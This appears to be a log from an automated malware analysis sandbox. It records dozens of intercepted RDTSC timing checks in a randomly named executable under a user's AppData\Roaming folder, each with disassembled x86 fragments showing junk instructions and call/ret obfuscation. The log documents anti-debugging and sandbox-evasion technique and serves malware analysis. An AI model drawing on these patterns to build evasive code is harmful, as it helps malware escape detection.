Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD54 second address: 4CDD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD58 second address: 4CDD5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD5E second address: 4CDD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E13h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD75 second address: 4CDDEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add dword ptr [ebp+12485B1Eh], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F2738E98EE8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F2738E98EE8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 adc si, B233h 0x0000004c or dword ptr [ebp+122D25E8h], edi 0x00000052 mov dword ptr [ebp+122D1F0Ch], esi 0x00000058 xchg eax, ebx 0x00000059 jp 00007F2738E98EF0h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDDEE second address: 4CDDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48A597 second address: 48A59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48A59D second address: 48A5C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E16h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F2738B89E06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48A5C2 second address: 48A5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2738E98EE6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48A5D2 second address: 48A5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D0DBB second address: 4D0DD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2738E98EE6h 0x00000009 js 00007F2738E98EE6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D0DD2 second address: 4D0DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D12DE second address: 4D12F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EF3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D12F5 second address: 4D1371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F2738B89E08h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 or ebx, 7D378B95h 0x00000029 xor bh, FFFFFFF9h 0x0000002c sub dword ptr [ebp+122D2B12h], esi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F2738B89E08h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jmp 00007F2738B89E11h 0x00000053 mov bx, 2624h 0x00000057 push 00000000h 0x00000059 sub dword ptr [ebp+1247FBC5h], esi 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D2442 second address: 4D2469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F2738E98EF9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D2469 second address: 4D24E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 js 00007F2738B89E06h 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 mov di, bx 0x00000014 mov bl, 88h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F2738B89E08h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov ebx, dword ptr [ebp+122D386Bh] 0x0000003a xchg eax, esi 0x0000003b je 00007F2738B89E1Ch 0x00000041 js 00007F2738B89E16h 0x00000047 jmp 00007F2738B89E10h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F2738B89E13h 0x00000055 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D3428 second address: 4D342C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D342C second address: 4D3430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D3430 second address: 4D344C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2738E98EF4h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D344C second address: 4D3488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c mov ebx, edx 0x0000000e push 00000000h 0x00000010 mov edi, ecx 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 jmp 00007F2738B89E18h 0x00000019 pop eax 0x0000001a push eax 0x0000001b jnp 00007F2738B89E14h 0x00000021 push eax 0x00000022 push edx 0x00000023 jo 00007F2738B89E06h 0x00000029 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CBA71 second address: 4CBA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jns 00007F2738E98EE8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CBA87 second address: 4CBA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D7431 second address: 4D7435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D7435 second address: 4D7495 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a ja 00007F2738B89E0Ch 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F2738B89E08h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c sub dword ptr [ebp+12454FE7h], edi 0x00000032 mov edi, dword ptr [ebp+122D57E4h] 0x00000038 push 00000000h 0x0000003a jo 00007F2738B89E0Ch 0x00000040 mov ebx, dword ptr [ebp+122D3793h] 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jnc 00007F2738B89E0Ch 0x0000004f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDAD2 second address: 4CDAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC3E4 second address: 4DC3EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC3EA second address: 4DC3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC3EE second address: 4DC463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F2738B89E1Ah 0x00000012 push ebx 0x00000013 jmp 00007F2738B89E12h 0x00000018 pop ebx 0x00000019 nop 0x0000001a or dword ptr [ebp+122D2B18h], eax 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F2738B89E08h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov dword ptr [ebp+122D2581h], ecx 0x00000042 adc bx, E086h 0x00000047 push 00000000h 0x00000049 mov bl, 10h 0x0000004b push eax 0x0000004c push ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 pop ecx 0x00000051 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE283 second address: 4DE2A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE2A8 second address: 4DE31B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F2738B89E08h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 sub dword ptr [ebp+122D3407h], edx 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F2738B89E08h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 or edi, dword ptr [ebp+12482EE8h] 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F2738B89E12h 0x00000058 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE31B second address: 4DE321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE321 second address: 4DE326 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE326 second address: 4DE344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2738E98EF2h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE344 second address: 4DE34E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2738B89E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CE5FA second address: 4CE5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CE5FE second address: 4CE604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D264B second address: 4D264F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D264F second address: 4D2655 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D6639 second address: 4D664B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4D855D second address: 4D8571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2738B89E0Dh 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC576 second address: 4DC57C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC57C second address: 4DC580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC64D second address: 4DC651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC651 second address: 4DC657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC657 second address: 4DC65C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DC65C second address: 4DC662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DD4A9 second address: 4DD4CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007F2738E98EECh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE4CB second address: 4DE4D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE4D5 second address: 4DE4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4DE4D9 second address: 4DE577 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2738B89E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F2738B89E08h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov edi, 1C14265Eh 0x0000002d mov dword ptr [ebp+122D261Ch], ecx 0x00000033 push dword ptr fs:[00000000h] 0x0000003a push esi 0x0000003b mov dword ptr [ebp+122D586Ch], ebx 0x00000041 pop ebx 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 mov dword ptr [ebp+1246A2EBh], edx 0x0000004f mov eax, dword ptr [ebp+122D031Dh] 0x00000055 push 00000000h 0x00000057 push edi 0x00000058 call 00007F2738B89E08h 0x0000005d pop edi 0x0000005e mov dword ptr [esp+04h], edi 0x00000062 add dword ptr [esp+04h], 00000017h 0x0000006a inc edi 0x0000006b push edi 0x0000006c ret 0x0000006d pop edi 0x0000006e ret 0x0000006f mov bh, dh 0x00000071 push FFFFFFFFh 0x00000073 cmc 0x00000074 nop 0x00000075 jmp 00007F2738B89E16h 0x0000007a push eax 0x0000007b push ecx 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4E9281 second address: 4E9299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEAh 0x00000007 jbe 00007F2738E98EE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4E9422 second address: 4E9426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4EDE5A second address: 4EDEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738E98EF9h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jno 00007F2738E98EF4h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007F2738E98EECh 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jbe 00007F2738E98EE6h 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4EDF4A second address: 4EDF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4EDF4E second address: 4EDF90 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F2738E98F05h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jc 00007F2738E98EE6h 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F39A0 second address: 4F39A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F39A5 second address: 4F39B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 js 00007F2738E98EE6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F3B37 second address: 4F3B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F3B3B second address: 4F3B48 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F3B48 second address: 4F3B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Eh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F4229 second address: 4F4247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnc 00007F2738E98EF9h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F4247 second address: 4F424F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4F424F second address: 4F425C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FB58F second address: 4FB593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FB593 second address: 4FB597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FB597 second address: 4FB5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F2738B89E06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FB9B2 second address: 4FB9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FB9B6 second address: 4FB9CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007F2738B89E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F2738B89E0Ch 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FC03B second address: 4FC042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FC18B second address: 4FC191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FC191 second address: 4FC197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4AA02D second address: 4AA04D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Ah 0x00000007 jnl 00007F2738B89E0Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4AA04D second address: 4AA06D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2738E98EF9h 0x00000008 push ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
